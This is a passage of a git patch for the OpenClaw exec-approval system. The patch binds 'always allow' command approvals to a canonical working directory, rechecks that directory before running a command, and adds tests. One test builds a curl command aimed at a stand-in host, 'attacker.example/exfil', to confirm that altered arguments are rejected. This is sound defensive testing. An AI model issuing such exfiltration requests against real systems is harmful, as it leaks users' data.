From 1c37c8cdc71bd2738b35bb5c433b3d545e040501 Mon Sep 17 00:00:00 2001 From: Josh Avant <830519+joshavant@users.noreply.github.com> Date: Tue, 25 Aug 2026 18:24:14 -0700 Subject: [PATCH] fix(exec): scope reusable approvals to their working directory (#129636) * fix(exec): bind durable approvals to working directory * chore(apps): refresh native string inventory * test(node-host): preserve prepared working directory * fix(exec): use shared path safety facade * fix(exec): revalidate approved directory identity --- apps/.i18n/native-source.json | 44 +++++ .../OpenClaw/ExecAllowlistMatcher.swift | 28 +++- .../OpenClaw/ExecApprovalEvaluation.swift | 5 +- .../OpenClaw/ExecApprovalsSocket.swift | 82 +++------- .../Sources/OpenClaw/ExecApprovalsStore.swift | 40 ++++- .../OpenClaw/ExecCommandResolution.swift | 49 +++++- .../OpenClaw/ExecHostExecutor+Response.swift | 54 ++++++ .../Sources/OpenClaw/ShellExecutor.swift | 21 ++- .../OpenClaw/SystemRunSettingsView.swift | 39 +++++ .../OpenClawIPCTests/ExecAllowlistTests.swift | 76 +++++++-- .../ExecApprovalsStoreRefactorTests.swift | 31 ++++ .../LowCoverageHelperTests.swift | 16 ++ docs/cli/approvals.md | 5 + docs/cli/doctor.md | 7 + docs/tools/exec-approvals.md | 12 +- .../bash-tools.exec-host-gateway.test.ts | 67 +++++++- src/agents/bash-tools.exec-host-gateway.ts | 122 +++++++++++--- .../bash-tools.exec-host-node-phases.ts | 12 ++ src/agents/bash-tools.exec-host-node.test.ts | 1 + src/agents/bash-tools.exec-run.ts | 8 +- src/agents/bash-tools.exec-runtime.test.ts | 37 +++++ src/agents/bash-tools.exec-runtime.ts | 25 +++ src/agents/bash-tools.exec-workdir.test.ts | 20 ++- src/agents/bash-tools.exec-workdir.ts | 3 +- src/commands/doctor-security.test.ts | 30 ++++ src/commands/doctor-security.ts | 19 ++- src/commands/doctor/repair-sequencing.ts | 8 + src/infra/exec-approvals-allow-always.test.ts | 154 ++++++++++++------ src/infra/exec-approvals-allow-always.ts | 32 +++- src/infra/exec-approvals-allowlist.ts | 42 +++-- src/infra/exec-approvals-analysis.ts | 2 +- ...exec-approvals-generated-migration.test.ts | 106 ++++++++++++ .../exec-approvals-generated-migration.ts | 54 ++++++ src/infra/exec-approvals-policy.test.ts | 4 +- src/infra/exec-approvals.ts | 1 + src/infra/exec-command-resolution.ts | 54 ++++-- src/infra/system-run-cwd-binding.ts | 60 +++++++ src/node-host/invoke-system-run-plan.test.ts | 14 ++ src/node-host/invoke-system-run-plan.ts | 78 ++------- src/node-host/invoke-system-run.test.ts | 58 ++++++- src/node-host/invoke-system-run.ts | 38 +++-- ui/src/components/exec-approval-card.ts | 10 +- ui/src/components/exec-approval.test.ts | 2 +- ui/src/i18n/locales/en.ts | 1 + 44 files changed, 1258 insertions(+), 313 deletions(-) create mode 100644 apps/macos/Sources/OpenClaw/ExecHostExecutor+Response.swift create mode 100644 src/infra/exec-approvals-generated-migration.test.ts create mode 100644 src/infra/exec-approvals-generated-migration.ts create mode 100644 src/infra/system-run-cwd-binding.ts diff --git a/apps/.i18n/native-source.json b/apps/.i18n/native-source.json index fc59927f242d..02b1fb6de725 100644 --- a/apps/.i18n/native-source.json +++ b/apps/.i18n/native-source.json @@ -21618,6 +21618,17 @@ } ] }, + { + "id": "native.apple.9864e7976f351268", + "source": "Approval Update", + "surface": "apple", + "sites": [ + { + "kind": "ui-call", + "path": "apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift" + } + ] + }, { "id": "native.apple.d6b22c2c249195d1", "source": "Approval and event alert channel", @@ -35979,6 +35990,17 @@ } ] }, + { + "id": "native.apple.edece3fab3481d28", + "source": "Older generated approvals are inactive because they were not tied to a working directory. Manual rules are unchanged.", + "surface": "apple", + "sites": [ + { + "kind": "ui-localized-call-concatenated", + "path": "apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift" + } + ] + }, { "id": "native.apple.b068c147b2ba5118", "source": "On", @@ -40618,6 +40640,17 @@ } ] }, + { + "id": "native.apple.7a469247ac8959b0", + "source": "Remove Inactive", + "surface": "apple", + "sites": [ + { + "kind": "ui-call", + "path": "apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift" + } + ] + }, { "id": "native.apple.ee0746b2ae37ed14", "source": "Remove \\(profile.name)", @@ -44521,6 +44554,17 @@ } ] }, + { + "id": "native.apple.820504301d33764a", + "source": "Some approvals need renewal", + "surface": "apple", + "sites": [ + { + "kind": "ui-named-argument", + "path": "apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift" + } + ] + }, { "id": "native.apple.9bd57456b80dbeeb", "source": "Sounds", diff --git a/apps/macos/Sources/OpenClaw/ExecAllowlistMatcher.swift b/apps/macos/Sources/OpenClaw/ExecAllowlistMatcher.swift index d759c05b01fb..48bee95418b6 100644 --- a/apps/macos/Sources/OpenClaw/ExecAllowlistMatcher.swift +++ b/apps/macos/Sources/OpenClaw/ExecAllowlistMatcher.swift @@ -3,7 +3,8 @@ import Foundation import JavaScriptCore enum ExecAllowlistMatcher { - private static let hashedArgPatternPrefix = "sha256:argv:" + private static let cwdBoundArgPatternPrefix = "sha256:cwd-argv:v1:" + private static let legacyArgPatternPrefix = "sha256:argv:" static func match(entries: [ExecAllowlistEntry], resolution: ExecCommandResolution?) -> ExecAllowlistEntry? { guard let resolution, !entries.isEmpty else { return nil } @@ -40,7 +41,12 @@ enum ExecAllowlistMatcher { } continue } - if let argv = resolution.argv, matchesArgPattern(argPattern, argv: argv) { + if entry.source == "allow-always", !argPattern.hasPrefix(self.cwdBoundArgPatternPrefix) { + continue + } + if let argv = resolution.argv, + self.matchesArgPattern(argPattern, argv: argv, cwd: resolution.cwd) + { return entry } case .invalid: @@ -97,9 +103,13 @@ enum ExecAllowlistMatcher { /// use NUL separators plus a trailing sentinel; hand-authored patterns use /// one space between parsed arguments. Redirect-shaped tokens stay literal /// because resolution does not retain enough shell syntax provenance. - private static func matchesArgPattern(_ argPattern: String, argv: [String]) -> Bool { - if argPattern.hasPrefix(self.hashedArgPatternPrefix) { - return argPattern == self.hashedArgPattern(argv: argv) + private static func matchesArgPattern(_ argPattern: String, argv: [String], cwd: String?) -> Bool { + if argPattern.hasPrefix(self.cwdBoundArgPatternPrefix) { + guard let cwd else { return false } + return argPattern == self.cwdBoundArgPattern(argv: argv, cwd: cwd) + } + if argPattern.hasPrefix(self.legacyArgPatternPrefix) { + return false } let nul = "\0" let arguments = Array(argv.dropFirst()) @@ -123,13 +133,15 @@ enum ExecAllowlistMatcher { return result.toBool() } - private static func hashedArgPattern(argv: [String]) -> String { + private static func cwdBoundArgPattern(argv: [String], cwd: String) -> String { + let normalizedCwd = ExecCommandResolution.canonicalApprovalCwd(cwd) let arguments = Array(argv.dropFirst()) - let subject = "\(arguments.count)\0" + arguments + let argvSubject = "\(arguments.count)\0" + arguments .map { "\($0.data(using: .utf8)?.count ?? 0)\0\($0)\0" } .joined() + let subject = "\(normalizedCwd.data(using: .utf8)?.count ?? 0)\0\(normalizedCwd)\0\(argvSubject)" let digest = SHA256.hash(data: Data(subject.utf8)) - return self.hashedArgPatternPrefix + digest.map { String(format: "%02x", $0) }.joined() + return self.cwdBoundArgPatternPrefix + digest.map { String(format: "%02x", $0) }.joined() } private static func matches(pattern: String, target: String) -> Bool { diff --git a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift index 60b0c8c266f1..d2023d76ba6b 100644 --- a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift +++ b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift @@ -248,6 +248,7 @@ enum ExecApprovalEvaluator { envOverrides: [String: String]?, agentId: String?) async -> ExecApprovalEvaluation { + let effectiveCwd = ExecCommandResolution.canonicalApprovalCwd(cwd) let trimmedAgent = agentId?.trimmingCharacters(in: .whitespacesAndNewlines) let normalizedAgentId = (trimmedAgent?.isEmpty == false) ? trimmedAgent : nil let approvals = ExecApprovalsStore.resolve(agentId: normalizedAgentId) @@ -263,11 +264,11 @@ enum ExecApprovalEvaluator { let allowlistResolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: allowlistRawCommand, - cwd: cwd, + cwd: effectiveCwd, env: env) let allowAlwaysPatterns = ExecCommandResolution.resolveAllowAlwaysPatterns( command: command, - cwd: cwd, + cwd: effectiveCwd, env: env, rawCommand: allowlistRawCommand) let boundCommand = ExecCommandResolution.bindForAllowlistExecution( diff --git a/apps/macos/Sources/OpenClaw/ExecApprovalsSocket.swift b/apps/macos/Sources/OpenClaw/ExecApprovalsSocket.swift index dfb9585f417a..b4b04f234297 100644 --- a/apps/macos/Sources/OpenClaw/ExecApprovalsSocket.swift +++ b/apps/macos/Sources/OpenClaw/ExecApprovalsSocket.swift @@ -131,7 +131,7 @@ struct ExecHostRequest: Codable { var policySnapshot: OpenClawSystemRunApprovalPolicySnapshot? } -private struct ExecHostRunResult: Codable { +struct ExecHostRunResult: Codable { var exitCode: Int? var timedOut: Bool var success: Bool @@ -165,7 +165,7 @@ struct ExecHostError: Codable, Error { var reason: String? } -private struct ExecHostResponse: Codable { +struct ExecHostResponse: Codable { var type: String var id: String var ok: Bool @@ -737,7 +737,7 @@ enum ExecApprovalsPromptPresenter { case .allowOnce: "Allow Once" case .allowAlways: - "Always Allow" + "Always Allow Here" case .deny: "Don't Allow" } @@ -881,7 +881,7 @@ extension ExecApprovalsPromptPresenter { #endif @MainActor -private enum ExecHostExecutor { +enum ExecHostExecutor { static func handle(_ request: ExecHostRequest) async -> ExecHostResponse { let validatedRequest: ExecHostValidatedRequest switch ExecHostRequestEvaluator.validateRequest(request) { @@ -890,12 +890,21 @@ private enum ExecHostExecutor { case let .failure(error): return self.errorResponse(error) } + let effectiveCwd = ExecCommandResolution.canonicalApprovalCwd(request.cwd) + guard let approvedCwdSnapshot = ExecCommandResolution.captureApprovalCwdSnapshot(effectiveCwd) + else { + return self.errorResponse( + code: "UNAVAILABLE", + message: "SYSTEM_RUN_DENIED: approval requires an existing canonical cwd", + reason: "approval-required") + } let context = await self.buildContext( request: request, command: validatedRequest.command, rawCommand: validatedRequest.evaluationRawCommand, - displayCommand: validatedRequest.displayCommand) + displayCommand: validatedRequest.displayCommand, + cwd: effectiveCwd) let approvalSource = validatedRequest.approvalSource let security = ExecHostRequestEvaluator.effectiveSecurity( context: context, @@ -918,7 +927,7 @@ private enum ExecHostExecutor { guard let decision = await ExecApprovalsPromptPresenter.prompt( ExecApprovalPromptRequest( command: context.displayCommand, - cwd: request.cwd, + cwd: effectiveCwd, host: "node", security: context.security.rawValue, ask: context.ask.rawValue, @@ -996,7 +1005,7 @@ private enum ExecHostExecutor { persistAllowlist: persistAllowlist, delayedPolicySnapshot: validatedRequest.delayedPolicySnapshot) let timeoutSec = request.timeoutMs.flatMap { Double($0) / 1000.0 } - let cwd = request.cwd + let cwd = effectiveCwd let env = context.env if case .failure = ExecApprovalsStore.commitExecution(executionCommit) { return self.approvalStoreErrorResponse() @@ -1009,7 +1018,12 @@ private enum ExecHostExecutor { command: executionCommand, cwd: cwd, env: env, - timeout: timeoutSec) + timeout: timeoutSec, + beforeSpawn: { + ExecCommandResolution.revalidateApprovalCwdSnapshot(approvedCwdSnapshot) + ? nil + : ExecCommandResolution.approvalCwdDriftDeniedMessage + }) } return await self.commandResponse(execution: execution) } @@ -1018,13 +1032,14 @@ private enum ExecHostExecutor { request: ExecHostRequest, command: [String], rawCommand: String?, - displayCommand: String) async -> ExecApprovalEvaluation + displayCommand: String, + cwd: String) async -> ExecApprovalEvaluation { await ExecApprovalEvaluator.evaluate( command: command, rawCommand: rawCommand, displayCommand: displayCommand, - cwd: request.cwd, + cwd: cwd, envOverrides: request.env, agentId: request.agentId) } @@ -1048,53 +1063,6 @@ private enum ExecHostExecutor { message: "PERMISSION_MISSING: screenRecording", reason: "permission:screenRecording") } - - private static func commandResponse( - execution: Task) async -> ExecHostResponse - { - let result = await execution.value - let payload = ExecHostRunResult( - exitCode: result.exitCode, - timedOut: result.timedOut, - success: result.success, - stdout: ExecHostOutputLimiter.truncate(result.stdout), - stderr: ExecHostOutputLimiter.truncate(result.stderr), - error: result.errorMessage) - return self.successResponse(payload) - } - - private static func errorResponse( - _ error: ExecHostError) -> ExecHostResponse - { - ExecHostResponse( - type: "response", - id: UUID().uuidString, - ok: false, - payload: nil, - error: error) - } - - private static func errorResponse( - code: String, - message: String, - reason: String?) -> ExecHostResponse - { - ExecHostResponse( - type: "exec-res", - id: UUID().uuidString, - ok: false, - payload: nil, - error: ExecHostError(code: code, message: message, reason: reason)) - } - - private static func successResponse(_ payload: ExecHostRunResult) -> ExecHostResponse { - ExecHostResponse( - type: "exec-res", - id: UUID().uuidString, - ok: true, - payload: payload, - error: nil) - } } private final class ExecApprovalsSocketLifecycleLease: @unchecked Sendable { diff --git a/apps/macos/Sources/OpenClaw/ExecApprovalsStore.swift b/apps/macos/Sources/OpenClaw/ExecApprovalsStore.swift index c5018e7f2883..253824e4394e 100644 --- a/apps/macos/Sources/OpenClaw/ExecApprovalsStore.swift +++ b/apps/macos/Sources/OpenClaw/ExecApprovalsStore.swift @@ -118,6 +118,7 @@ enum ExecApprovalsStore { private static let defaultAsk: ExecAsk = .off private static let defaultAskFallback: ExecSecurity = .deny private static let defaultAutoAllowSkills = false + private static let cwdBoundArgPatternPrefix = "sha256:cwd-argv:v1:" #if compiler(>=6.4) nonisolated(nonsending) static func withStateDirectory( @@ -787,6 +788,15 @@ extension ExecApprovalsStore { let now = Date().timeIntervalSince1970 * 1000 for grant in grants { let incoming = grant.match + if incoming.argPattern?.hasPrefix(self.cwdBoundArgPatternPrefix) == true { + // Renewing trust for one executable also clears its inactive + // pre-cwd grants, which can never authorize after this upgrade. + allowlist.removeAll { item in + item.pattern == incoming.pattern && + item.source == "allow-always" && + item.argPattern?.hasPrefix(self.cwdBoundArgPatternPrefix) != true + } + } if let index = allowlist.firstIndex(where: { self.allowlistEntryMatchKey($0) == self.allowlistEntryMatchKey(incoming) }) { @@ -846,7 +856,35 @@ extension ExecApprovalsStore { } private static func shouldRecordLastUsedCommand(for entry: ExecAllowlistEntry) -> Bool { - !(entry.argPattern?.hasPrefix("sha256:argv:") ?? false) + !(entry.argPattern?.hasPrefix("sha256:") ?? false) + } + + @discardableResult + static func removeObsoleteGeneratedAllowAlwaysEntries() -> Result { + var removed = 0 + let result = self.updateFile { file in + var agents = file.agents ?? [:] + for (key, var agent) in agents { + let current = agent.allowlist ?? [] + let retained = current.filter { item in + let pattern = item.pattern.trimmingCharacters(in: .whitespacesAndNewlines) + let keep = item.source != "allow-always" || + pattern.hasPrefix("=command:") || + pattern.hasPrefix("=node-command:") || + item.argPattern?.hasPrefix(self.cwdBoundArgPatternPrefix) == true + if !keep { removed += 1 } + return keep + } + if retained.count != current.count { + agent.allowlist = retained + agents[key] = agent + } + } + if removed > 0 { + file.agents = agents + } + } + return result.map { removed } } @discardableResult diff --git a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift index 25f29b468d0d..946334bd1cd7 100644 --- a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift +++ b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift @@ -11,7 +11,41 @@ struct ExecAllowAlwaysPattern: Sendable, Hashable { } } +struct ExecApprovalCwdSnapshot: Sendable, Equatable { + let path: String + let device: UInt64 + let inode: UInt64 +} + struct ExecCommandResolution { + static let approvalCwdDriftDeniedMessage = + "SYSTEM_RUN_DENIED: approval cwd changed before execution" + + static func canonicalApprovalCwd(_ cwd: String?) -> String { + URL(fileURLWithPath: cwd ?? FileManager.default.currentDirectoryPath) + .standardizedFileURL + .resolvingSymlinksInPath() + .path + } + + static func captureApprovalCwdSnapshot(_ cwd: String?) -> ExecApprovalCwdSnapshot? { + let canonicalPath = self.canonicalApprovalCwd(cwd) + guard self.canonicalApprovalCwd(canonicalPath) == canonicalPath, + let attributes = try? FileManager.default.attributesOfItem(atPath: canonicalPath), + attributes[.type] as? FileAttributeType == .typeDirectory, + let device = attributes[.systemNumber] as? NSNumber, + let inode = attributes[.systemFileNumber] as? NSNumber + else { return nil } + return ExecApprovalCwdSnapshot( + path: canonicalPath, + device: device.uint64Value, + inode: inode.uint64Value) + } + + static func revalidateApprovalCwdSnapshot(_ snapshot: ExecApprovalCwdSnapshot) -> Bool { + self.captureApprovalCwdSnapshot(snapshot.path) == snapshot + } + let rawExecutable: String let resolvedPath: String? let resolvedRealPath: String? @@ -86,11 +120,12 @@ struct ExecCommandResolution { env: [String: String]?, rawCommand: String? = nil) -> [ExecAllowAlwaysPattern] { + let effectiveCwd = self.canonicalApprovalCwd(cwd) var patterns: [ExecAllowAlwaysPattern] = [] var seen = Set() self.collectAllowAlwaysPatterns( command: command, - cwd: cwd, + cwd: effectiveCwd, env: env, rawCommand: rawCommand, depth: 0, @@ -356,18 +391,22 @@ struct ExecCommandResolution { } let candidate = ExecAllowAlwaysPattern( pattern: pattern, - argPattern: self.hashedArgPattern(argv: command)) + argPattern: self.cwdBoundArgPattern( + argv: command, + cwd: cwd ?? FileManager.default.currentDirectoryPath)) guard seen.insert(candidate).inserted else { return } patterns.append(candidate) } - private static func hashedArgPattern(argv: [String]) -> String { + private static func cwdBoundArgPattern(argv: [String], cwd: String) -> String { + let normalizedCwd = self.canonicalApprovalCwd(cwd) let arguments = Array(argv.dropFirst()) - let subject = "\(arguments.count)\0" + arguments + let argvSubject = "\(arguments.count)\0" + arguments .map { "\($0.data(using: .utf8)?.count ?? 0)\0\($0)\0" } .joined() + let subject = "\(normalizedCwd.data(using: .utf8)?.count ?? 0)\0\(normalizedCwd)\0\(argvSubject)" let digest = SHA256.hash(data: Data(subject.utf8)) - return "sha256:argv:" + digest.map { String(format: "%02x", $0) }.joined() + return "sha256:cwd-argv:v1:" + digest.map { String(format: "%02x", $0) }.joined() } /// Path-only durable grants are too broad for tools that can execute code diff --git a/apps/macos/Sources/OpenClaw/ExecHostExecutor+Response.swift b/apps/macos/Sources/OpenClaw/ExecHostExecutor+Response.swift new file mode 100644 index 000000000000..be74c27bee2c --- /dev/null +++ b/apps/macos/Sources/OpenClaw/ExecHostExecutor+Response.swift @@ -0,0 +1,54 @@ +import Foundation + +extension ExecHostExecutor { + static func commandResponse( + execution: Task) async -> ExecHostResponse + { + let result = await execution.value + if let preflightError = result.preflightError { + return self.errorResponse( + code: "UNAVAILABLE", + message: preflightError, + reason: "approval-required") + } + let payload = ExecHostRunResult( + exitCode: result.exitCode, + timedOut: result.timedOut, + success: result.success, + stdout: ExecHostOutputLimiter.truncate(result.stdout), + stderr: ExecHostOutputLimiter.truncate(result.stderr), + error: result.errorMessage) + return self.successResponse(payload) + } + + static func errorResponse(_ error: ExecHostError) -> ExecHostResponse { + ExecHostResponse( + type: "response", + id: UUID().uuidString, + ok: false, + payload: nil, + error: error) + } + + static func errorResponse( + code: String, + message: String, + reason: String?) -> ExecHostResponse + { + ExecHostResponse( + type: "exec-res", + id: UUID().uuidString, + ok: false, + payload: nil, + error: ExecHostError(code: code, message: message, reason: reason)) + } + + static func successResponse(_ payload: ExecHostRunResult) -> ExecHostResponse { + ExecHostResponse( + type: "exec-res", + id: UUID().uuidString, + ok: true, + payload: payload, + error: nil) + } +} diff --git a/apps/macos/Sources/OpenClaw/ShellExecutor.swift b/apps/macos/Sources/OpenClaw/ShellExecutor.swift index 20bee2eb760f..9734db4c9d53 100644 --- a/apps/macos/Sources/OpenClaw/ShellExecutor.swift +++ b/apps/macos/Sources/OpenClaw/ShellExecutor.swift @@ -12,6 +12,7 @@ enum ShellExecutor { var timedOut: Bool var success: Bool var errorMessage: String? + var preflightError: String? } /// A background descendant may inherit stdout after its parent exits. @@ -194,7 +195,8 @@ enum ShellExecutor { exitCode: status, timedOut: false, success: terminationStatus.isSuccess, - errorMessage: terminationStatus.isSuccess ? nil : "exit \(status)") + errorMessage: terminationStatus.isSuccess ? nil : "exit \(status)", + preflightError: nil) } private static func timedOutResult(captured: (stdout: String, stderr: String)) -> ShellResult { @@ -204,12 +206,14 @@ enum ShellExecutor { exitCode: nil, timedOut: true, success: false, - errorMessage: "timeout") + errorMessage: "timeout", + preflightError: nil) } private static func failedResult( captured: (stdout: String, stderr: String) = ("", ""), - message: String) -> ShellResult + message: String, + preflightError: String? = nil) -> ShellResult { ShellResult( stdout: captured.stdout, @@ -217,7 +221,8 @@ enum ShellExecutor { exitCode: nil, timedOut: false, success: false, - errorMessage: message) + errorMessage: message, + preflightError: preflightError) } private static func runSubprocess( @@ -342,7 +347,8 @@ enum ShellExecutor { command: [String], cwd: String?, env: [String: String]?, - timeout: Double?) async -> ShellResult + timeout: Double?, + beforeSpawn: (@Sendable () -> String?)? = nil) async -> ShellResult { guard !command.isEmpty else { return self.failedResult(message: "empty command") @@ -357,6 +363,11 @@ enum ShellExecutor { let configuration = self.configuration(command: command, cwd: cwd, env: env) + if let message = beforeSpawn?() { + _ = output.readAndRemove() + return self.failedResult(message: message, preflightError: message) + } + do { let outcome = if let timeout, timeout > 0 { try await self.runTimedSubprocess( diff --git a/apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift b/apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift index c7257753b043..c3cee2887c01 100644 --- a/apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift +++ b/apps/macos/Sources/OpenClaw/SystemRunSettingsView.swift @@ -205,6 +205,23 @@ struct SystemRunSettingsView: View { private var allowlistView: some View { VStack(alignment: .leading, spacing: 16) { + if self.model.obsoleteGeneratedApprovalCount > 0 { + SettingsCardGroup("Approval Update") { + SettingsCardRow( + title: "Some approvals need renewal", + subtitle: .localized( + "Older generated approvals are inactive because they were not tied " + + "to a working directory. Manual rules are unchanged."), + showsDivider: false) + { + Button("Remove Inactive") { + self.model.removeObsoleteGeneratedApprovals() + } + .buttonStyle(.bordered) + } + } + } + SettingsCardGroup("Automatic Trust") { SettingsCardToggleRow( title: "Auto-allow skill CLIs", @@ -500,6 +517,16 @@ final class ExecApprovalsSettingsModel { var policyLoadState: ExecApprovalsPolicyLoadState = .loading var mutationErrorMessage: String? + var obsoleteGeneratedApprovalCount: Int { + self.entries.count { entry in + let pattern = entry.pattern.trimmingCharacters(in: .whitespacesAndNewlines) + return entry.source == "allow-always" && + !pattern.hasPrefix("=command:") && + !pattern.hasPrefix("=node-command:") && + entry.argPattern?.hasPrefix("sha256:cwd-argv:v1:") != true + } + } + var policyAvailable: Bool { self.policyLoadState.isAvailable } @@ -597,6 +624,18 @@ final class ExecApprovalsSettingsModel { } } + func removeObsoleteGeneratedApprovals() { + switch ExecApprovalsStore.removeObsoleteGeneratedAllowAlwaysEntries() { + case .success: + let agentId = self.selectedAgentId + Task { [weak self] in + await self?.loadSettings(for: agentId) + } + case let .failure(error): + self.mutationErrorMessage = error.localizedDescription + } + } + func loadSettings(for agentId: String) async { let task = self.startSettingsRead(for: agentId) await task.value diff --git a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift index a2d10879e82d..82df6efc61fd 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift @@ -40,13 +40,15 @@ struct ExecAllowlistTests { return fixture.cases } - private static func hashedArgPattern(_ argv: [String]) -> String { + private static func cwdBoundArgPattern(_ argv: [String], cwd: String) -> String { + let normalizedCwd = URL(fileURLWithPath: cwd).standardizedFileURL.resolvingSymlinksInPath().path let arguments = Array(argv.dropFirst()) - let subject = "\(arguments.count)\0" + arguments + let argvSubject = "\(arguments.count)\0" + arguments .map { "\($0.data(using: .utf8)?.count ?? 0)\0\($0)\0" } .joined() + let subject = "\(normalizedCwd.data(using: .utf8)?.count ?? 0)\0\(normalizedCwd)\0\(argvSubject)" let digest = SHA256.hash(data: Data(subject.utf8)) - return "sha256:argv:" + digest.map { String(format: "%02x", $0) }.joined() + return "sha256:cwd-argv:v1:" + digest.map { String(format: "%02x", $0) }.joined() } private static func fixtureURL(filename: String) -> URL { @@ -73,6 +75,21 @@ struct ExecAllowlistTests { try FileManager().setAttributes([.posixPermissions: 0o755], ofItemAtPath: url.path) } + @Test func `approval cwd snapshot rejects directory replacement`() throws { + let root = FileManager.default.temporaryDirectory + .appendingPathComponent("openclaw-approval-cwd-\(UUID().uuidString)", isDirectory: true) + let approved = root.appendingPathComponent("approved", isDirectory: true) + let moved = root.appendingPathComponent("moved", isDirectory: true) + defer { try? FileManager.default.removeItem(at: root) } + try FileManager.default.createDirectory(at: approved, withIntermediateDirectories: true) + let snapshot = try #require(ExecCommandResolution.captureApprovalCwdSnapshot(approved.path)) + + #expect(ExecCommandResolution.revalidateApprovalCwdSnapshot(snapshot)) + try FileManager.default.moveItem(at: approved, to: moved) + try FileManager.default.createDirectory(at: approved, withIntermediateDirectories: false) + #expect(!ExecCommandResolution.revalidateApprovalCwdSnapshot(snapshot)) + } + @Test func `match uses resolved path`() { let entry = ExecAllowlistEntry(pattern: "/opt/homebrew/bin/rg") let resolution = Self.homebrewRGResolution() @@ -186,7 +203,14 @@ struct ExecAllowlistTests { @Test func `match ignores legacy generated path only allow always entries`() { let executable = "/usr/bin/python3" - let legacyGenerated = ExecAllowlistEntry(pattern: executable, source: "allow-always") + let legacyGenerated = [ + ExecAllowlistEntry(pattern: executable, source: "allow-always"), + ExecAllowlistEntry( + pattern: executable, + source: "allow-always", + argPattern: "sha256:argv:obsolete"), + ExecAllowlistEntry(pattern: executable, source: "allow-always", argPattern: #"^unsafe\.py$"#), + ] let manual = ExecAllowlistEntry(pattern: executable) let resolution = ExecCommandResolution( rawExecutable: executable, @@ -196,7 +220,9 @@ struct ExecAllowlistTests { cwd: nil, argv: [executable, "unsafe.py"]) - #expect(ExecAllowlistMatcher.match(entries: [legacyGenerated], resolution: resolution) == nil) + for entry in legacyGenerated { + #expect(ExecAllowlistMatcher.match(entries: [entry], resolution: resolution) == nil) + } #expect(ExecAllowlistMatcher.match(entries: [manual], resolution: resolution) != nil) } @@ -226,55 +252,75 @@ struct ExecAllowlistTests { @Test func `match enforces generated hashed arg patterns before regex fallback`() { let executable = "/usr/bin/curl" + let cwd = "/workspace" let approvedArgv = [executable, "https://trusted.example/install.sh"] let entry = ExecAllowlistEntry( pattern: executable, - argPattern: Self.hashedArgPattern(approvedArgv)) + source: "allow-always", + argPattern: Self.cwdBoundArgPattern(approvedArgv, cwd: cwd)) let approved = ExecCommandResolution( rawExecutable: executable, resolvedPath: executable, resolvedRealPath: executable, executableName: "curl", - cwd: nil, + cwd: cwd, argv: approvedArgv) let changed = ExecCommandResolution( rawExecutable: executable, resolvedPath: executable, resolvedRealPath: executable, executableName: "curl", - cwd: nil, + cwd: cwd, argv: [executable, entry.argPattern ?? "", "https://attacker.example/exfil"]) #expect(ExecAllowlistMatcher.match(entries: [entry], resolution: approved) != nil) #expect(ExecAllowlistMatcher.match(entries: [entry], resolution: changed) == nil) #expect(entry.argPattern?.contains("trusted.example") == false) + + let moved = ExecCommandResolution( + rawExecutable: executable, + resolvedPath: executable, + resolvedRealPath: executable, + executableName: "curl", + cwd: "/other-workspace", + argv: approvedArgv) + #expect(ExecAllowlistMatcher.match(entries: [entry], resolution: moved) == nil) } @Test func `hashed arg pattern distinguishes zero args from empty args`() { let executable = "/usr/bin/tool" + let cwd = "/workspace" let zeroArgEntry = ExecAllowlistEntry( pattern: executable, - argPattern: Self.hashedArgPattern([executable])) + argPattern: Self.cwdBoundArgPattern([executable], cwd: cwd)) let noArgs = ExecCommandResolution( rawExecutable: executable, resolvedPath: executable, resolvedRealPath: executable, executableName: "tool", - cwd: nil, + cwd: cwd, argv: [executable]) let emptyArgs = ExecCommandResolution( rawExecutable: executable, resolvedPath: executable, resolvedRealPath: executable, executableName: "tool", - cwd: nil, + cwd: cwd, argv: [executable, "", ""]) - #expect(zeroArgEntry.argPattern != Self.hashedArgPattern([executable, "", ""])) + #expect(zeroArgEntry.argPattern != Self.cwdBoundArgPattern([executable, "", ""], cwd: cwd)) #expect(ExecAllowlistMatcher.match(entries: [zeroArgEntry], resolution: noArgs) != nil) #expect(ExecAllowlistMatcher.match(entries: [zeroArgEntry], resolution: emptyArgs) == nil) } + @Test func `cwd bound hash matches the shared cross platform vector`() { + #expect( + Self.cwdBoundArgPattern( + ["/usr/bin/printf", "hello world", ""], + cwd: "/workspace") == + "sha256:cwd-argv:v1:2b4f4aed226aa1fd771c852b8f74e4c162d440aafaf60bfef19746f3b2ee5890") + } + @Test func `arg pattern does not discard redirect shaped direct argv literal`() { let executable = "/usr/bin/python3" let restricted = ExecAllowlistEntry(pattern: executable, argPattern: #"^safe\.py$"#) @@ -1013,7 +1059,7 @@ struct ExecAllowlistTests { env: ["PATH": "/usr/bin:/bin"]) #expect(patterns.map(\.pattern) == ["/usr/bin/printf"]) - #expect(patterns.first?.argPattern?.hasPrefix("sha256:argv:") == true) + #expect(patterns.first?.argPattern?.hasPrefix("sha256:cwd-argv:v1:") == true) } @Test func `allow always patterns fail closed for env modified shell wrappers`() { @@ -1040,7 +1086,9 @@ struct ExecAllowlistTests { rawCommand: "/usr/bin/printf safe_marker") #expect(patterns.map(\.pattern) == ["/usr/bin/printf"]) - #expect(patterns.first?.argPattern == Self.hashedArgPattern(["/usr/bin/printf", "safe_marker"])) + #expect(patterns.first?.argPattern == Self.cwdBoundArgPattern( + ["/usr/bin/printf", "safe_marker"], + cwd: FileManager.default.currentDirectoryPath)) } @Test func `allow always never persists broad interpreter grants`() { diff --git 